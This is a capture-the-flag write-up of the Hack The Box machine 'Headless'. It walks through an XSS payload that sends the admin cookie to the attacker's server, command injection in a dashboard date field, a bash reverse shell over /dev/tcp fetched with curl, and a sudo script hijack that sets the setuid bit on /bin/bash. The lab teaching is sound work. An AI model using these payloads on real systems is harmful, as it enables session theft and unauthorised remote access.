
Headless
Hack The Box Machine Writeup

Don't lose your head!
Summary
Headless was an interesting easy Linux box that demonstrated some cool exploitation techniques but was not overly complex, focusing much more heavily on the user steps then the root steps. The user step centers around an XSS cookie hijack and command injection and the root step is a simple sudo script hijack.
To obtain User the attacker starts by enumerating a Werkzeug website in which there is a single contact us form. Submitting this with basic XSS payloads results in a hacking attempt discovered page that echoes the headers back onto the page. The useradmin header can then be used to execute an XSS attack and steal the is_admin cookie. This cookie can then be used to access the admin dashboard where this is a function with a command injection that can be used to get a shell on the machine.
The root step is much more straightforward. The attacker first finds the /usr/bin/syscheck can be run as root with sudo -l. Then looking at this file it appears to be a bash script which executes initdb.sh. By creating initdb.sh with a privilege escalation payload such as setting the bash binary to sticky bits we then escalate to root and complete the box.

Nothing is more scary then a chair or lamp at night time
User
Recon
Port scan with Nmap
I started off the machine as I always do with a port scan with Nmap to detect what is running on the box. I use -sC for default NSE scripts and -sV for service enumeration. Sudo runs a -sS stealth scan by default while without sudo it runs a -sT connect scan which is slower.
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ sudo nmap -sC -sV 10.129.238.68
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 15:30 GMT
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 15:32 (0:01:10 remaining)
Nmap scan report for 10.129.238.68
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 24 Mar 2024 15:30:11 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
<...?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.75 seconds
From the scan we can see SSH open on port 22 and a Werkzeug python webserver on port 5000.
Enumerate web server
The only thing to check from here is the webserver on port 5000. The main page has a coming soon countdown with a link to /support called for questions.
How exciting
The /support path contains a form that can be submitted. Submitting this does not give any kind of indication that it worked or will be read by another user.
Is anyone there?
Find is_admin cookie
Intercepting the request with burp I noticed that there is an is_admin cookie set without http-only. This means that the cookie can be sent and accessed with JS code. This means that if we can get the admin/bot user to execute an XSS we can have that XSS send us back the user's is_admin cookie and steal their session.
is_admin is quite suspicious

It does feel like that though
Directory brute force with Feroxbuster
To continue enumerating the webserver I ran a directory brute force scan with Feroxbuster to see if there are any other routes we can access. It finds the route to /dashboard which shows as a 500 response.
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://10.129.238.68:5000/ -w /opt/useful/SecLists/Discovery//Web-Content/raft-medium-words.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ _/ | | \ |__
| |___ | \ | \ | __, __/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.238.68:5000/
🚀 Threads │ 50
📖 Wordlist │ /opt/useful/SecLists/Discovery//Web-Content/raft-medium-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 93l 179w 2363c http://10.129.238.68:5000/support
200 GET 96l 259w 2799c http://10.129.238.68:5000/
500 GET 5l 37w 265c http://10.129.238.68:5000/dashboard
[#########>----------] - 51s 31191/63089 53s found:3 errors:0
[####################] - 1m 63089/63089 0s found:3 errors:0
[####################] - 1m 63088/63088 585/s http://10.129.238.68:5000/
The /dashboard route returns an unauthorized message. This furthers my suspicion that we need to hijack the is_admin cookie using the post form and then we should be able to access the /dashboard route.
Let me in!
XSS Cookie Hijack
Confirm XSS
I start by sending a request with basic XSS alert payloads in all the fields, using the name of the field so we know which one triggers what.
A good trick if you have to enumerate a lot of things quickly
Submitting this results in a hacking attempt detected message demonstrating that there is some kind of filtering on our input.
Not gonna be that easy!
The interesting thing is that the headers of the request are being echoed back to the HTML document here. That means that if we can inject an XSS payload into one of these headers it should execute the JS code. To test this I edit the last request to include a basic alert payload in the user agent. When sending this through burp we can see that the XSS indeed correctly shows up in the response.
always look for ways you can echo content onto the HTML document

At least the computer will always say it loves me
To see this request in our browser we can right click on the response in burp, then click show response in the browser. This will open a new window where we can copy and paste the link in our browser.
Feel free to save a step and check the box
Pasting this in we are then presented with the alert pop up confirming the XSS is working as intended.
.png)
Now the fun begins
Steal admin cookie.
Now we need to leverage the XSS vulnerability to steal the admin cookie. To do this we can use the fetch JS module which will make web requests for us. An example payload is like
<img src=x onerror=fetch('http://ip/?cookie='+document.cookie);>
In this we set the img src to an invalid location _x_, then we use the onerror trigger which will go because x is not a valid image location to execute the web request back to us with fetch and append the cookies as part of the URL. To accomplish all of this we first need to start our exfiltration server, I use python for this.
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now resend the request but this time change the user agent to our new cookie stealing payload. Don't forget to add the port 8000 to the URL like me.
Don't forget about URL encoding
Sending this request in burp after a couple seconds we get a hit on our python server containing the admin cookie!
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.238.68 - - [24/Mar/2024 16:24:10] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

Don't forget about the popup about them too, thanks EU
Command Injection
Now that we have the cookie for the admin user we can go to /dashboard. Press f12 to bring up the developer console in our browser then go to the storage tab. Lastly we can click on the cookies section and change our is_admin cookie value to the one we got through the XSS.
There are lots of ways to do this, I like using the browser dev console
Now when refreshing the page we are given the administrator dashboard and a button to generate a report.
Look at me, I am the admin now
Clicking the button results in a post request to /dashboard with the date parameter. This then gives us a response of systems being _up and running!_.
.png)
I wonder how it is using our date input?
I then check the date field for command injection by using ; to inject a new command and ping to try to ping myself. To see if this works I start TCPdump on the HTB VPN tunnel interface.
good to test before going to a shell
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:32:33.105303 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 1, length 64
16:32:33.105314 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 1, length 64
16:32:34.105851 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 2, length 64
16:32:34.105862 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 2, length 64
16:32:35.106506 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 3, length 64
16:32:35.106519 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 3, length 64
This works and confirms the presence of the command injection!
.jpg)
most of hacking is just fuzzing inputs
Shell as DVIR
From here we need to get a shell on the machine. To do this we can create a simple bash reverse shell script on our attacking host, then use curl to fetch it and | to pipe it into bash. Doing it this way helps to avoid any encoding errors that might arise. We will also need to start an NC listener to catch the shell
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ cat shell.sh
#!/bin/bash
/bin/bash -c 'exec bash -i &>/dev/tcp/10.10.14.190/42069 <&1'
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.238.68 - - [24/Mar/2024 16:36:44] "GET /shell.sh HTTP/1.1" 200 -
Sometimes URL encoding can cause problems, this is a good way to get around it
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ nc -lvnp 42069
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::42069
Ncat: Listening on 0.0.0.0:42069
Ncat: Connection from 10.129.238.68.
Ncat: Connection from 10.129.238.68:55936.
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$
Upgrade shell and grab user.txt
Now that we have a foothold shell i like to use the script trick to upgrade my terminal. This will allow me to do things like tab complete and control c without exiting the shell.
dvir@headless:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dvir@headless:~/app$ ^Z
[1]+ Stopped nc -lvnp 42069
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ stty raw -echo;fg
nc -lvnp 42069
reset
reset: unknown terminal type unknown
Terminal type? screen
dvir@headless:~$ cat user.txt
1cfa1e9e266d8dc48252c2b2e5bc18a7
Root
Enumeration
Manual enumeration
Whenever I land on a new box I like to start checking for privilege escalation vectors manually before bringing over something like Linpeas. In this case checking sudo permissions with -l works and we can see that our user can run /usr/bin/syscheck as root with no password
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Syscheck Sudo Script Hijack
running the /usr/bin/syscheck binary does not result in anything seemingly happening. We have read access to it though so looking at the code we can see it checks if the effective user id is 0 or root, and if not it exits. Since we are running it with sudo however it will be run as root and pass this first check. then it echoes some information and most importantly runs the initdb.sh script file.
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
I then checked if initdb.sh exists with a find command. It did not, so I proceeded to create it and put a payload inside to add sticky bit permissions to the /bin/bash binary. This means that when it runs it will run with the rights of the application owner/creator who in this case is root. The last thing to do is to give the new script execute permissions so it can be run by the syscheck check.
dvir@headless:~$ find -name / initdb.sh 2>/dev/null
dvir@headless:~$ echo "chmod u+s /bin/bash" > initdb.sh
dvir@headless:~$ chmod +x initdb.sh
Now when running /usr/bin/syscheck as sudo it should run the initdb.sh script we created and assign a sticky bit to the bash binary which ran with -p will grant us a shell with EUID of root. From there we can grab root.txt and complete the machine.
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.01, 0.04, 0.06
Database service is not running. Starting it...
dvir@headless:~$ ls /bin/bash -la
-rwsr-xr-x 1 root root 1265648 Apr 24 2023 /bin/bash
dvir@headless:~$ /bin/bash -p
bash-5.2# id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
bash-5.2# cat root.txt
04493608e31c024f92168efee72c4e70

Congrats on another box completed!
Additional Resources
Ippsec video walkthrough
0xdf writeup
0xdf.gitlab.io